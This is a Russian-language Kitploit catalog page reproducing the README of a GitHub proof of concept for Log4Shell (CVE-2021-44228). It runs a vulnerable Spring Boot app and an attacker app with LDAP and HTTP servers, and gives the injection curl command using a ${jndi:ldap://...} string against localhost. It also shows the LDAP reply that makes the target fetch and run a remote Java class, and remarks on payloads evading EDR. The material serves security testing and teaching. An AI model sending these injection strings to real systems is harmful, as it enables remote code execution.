Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
log4j2-exploit — log4j2 Log4Shell CVE-2021-44228 доказательство концепции | Kitploit
Инструменты/GitHubGitHub/spasam/log4j2-exploit
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеРазработка Полезной Нагрузки
GitHubspasam/log4j2-exploit

log4j2-exploit

log4j2 Log4Shell CVE-2021-44228 доказательство концепции

Репозиторий
24 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Log4Shell CVE-2021-44228 — проверка концепции

Требования

  • Java (JDK/JRE) 8 или более поздняя версия
  • curl

exploitable

Простое Spring Boot-приложение, которое отображает страницу входа с полями пользователя и пароля. Оно записывает имя пользователя в журнал при POST-запросе на /. Приложению не обязательно логировать какие-либо данные, введённые пользователем. Достаточно включить журналирование доступа, использующее уязвимую версию log4j2.

Как запустить:

root@kitploit:~
cd exploitable
../mvnw -q spring-boot:run

По умолчанию приложение слушает порт 8080. Если открыть http://localhost:8080/ в браузере, вы должны увидеть примерно следующее:

В файле pom.xml вы заметите JVM-свойство:

-Dcom.sun.jndi.ldap.object.trustURLCodebase=true

Оно не требуется в более старых версиях JDK. Значение по умолчанию было изменено на false в: JDK 11.0.1, 8u191, 7u201 и 6u211. Даже без этого свойства приложение уязвимо к первоначальным LDAP-запросам, которые могут похитить чувствительные данные.

hacker

Хакерское приложение, которое служит двум целям:

  • Запускает HTTP-сервер на порту 9090 для раздачи уязвимых полезных нагрузок
  • Запускает in-memory LDAP-сервер на порту 1389

Как запустить:

root@kitploit:~
cd hacker
../mvnw -q spring-boot:run

В файле pom.xml можно изменить полезную нагрузку, отправляемую по умолчанию уязвимым приложениям:

--class=SayHello — значение по умолчанию, то есть в качестве полезной нагрузки отправляется SayHello.class.

Как воспроизвести уязвимость

Отправьте curl-запрос к эксплуатируемому приложению, указав LDAP-сервер hacker в одном из вводимых пользователем полей (имя пользователя):

root@kitploit:~
curl -d "user=\${jndi:ldap://127.0.0.1:1389}" http://localhost:8080/

В консоли эксплуатируемого приложения вы должны увидеть что-то вроде:

Внутреннее устройство

  • Атакующий отправил одно из пользовательских полей ввода в виде ${jndi:ldap://127.0.0.1:1389}
  • Уязвимая библиотека log4j2, встроенная в эксплуатируемое приложение, выполняет LDAP-запрос к 127.0.0.1:1389
  • В ответ она получает следующее:
    root@kitploit:~
    dn:
    objectClass: javaNamingReference
    javaClassName: SayHello
    javaCodeBase: http://127.0.0.1:9090/
    javaFactory: SayHello
    
  • Приложение пытается получить класс эксплойт-полезной нагрузки по адресу http://127.0.0.1:9090/SayHello.class
  • Сервер hacker возвращает двоичные байты SayHello.class
  • Приложение выполняет метод getObjectInstance в классе эксплойта

Примечание

После первоначального LDAP-запроса и возможной загрузки эксплойт-класса Java эксплойту не требуется порождать процесс или устанавливать какие-либо дополнительные подключения к Интернету. Обычно такие эксплойты легко обнаруживаются EDR-продуктами и т. п. Я подозреваю, что новые эксплойт-полезные нагрузки будут нативно реализованы на Java, чтобы обойти обнаружение.

Скачать инструмент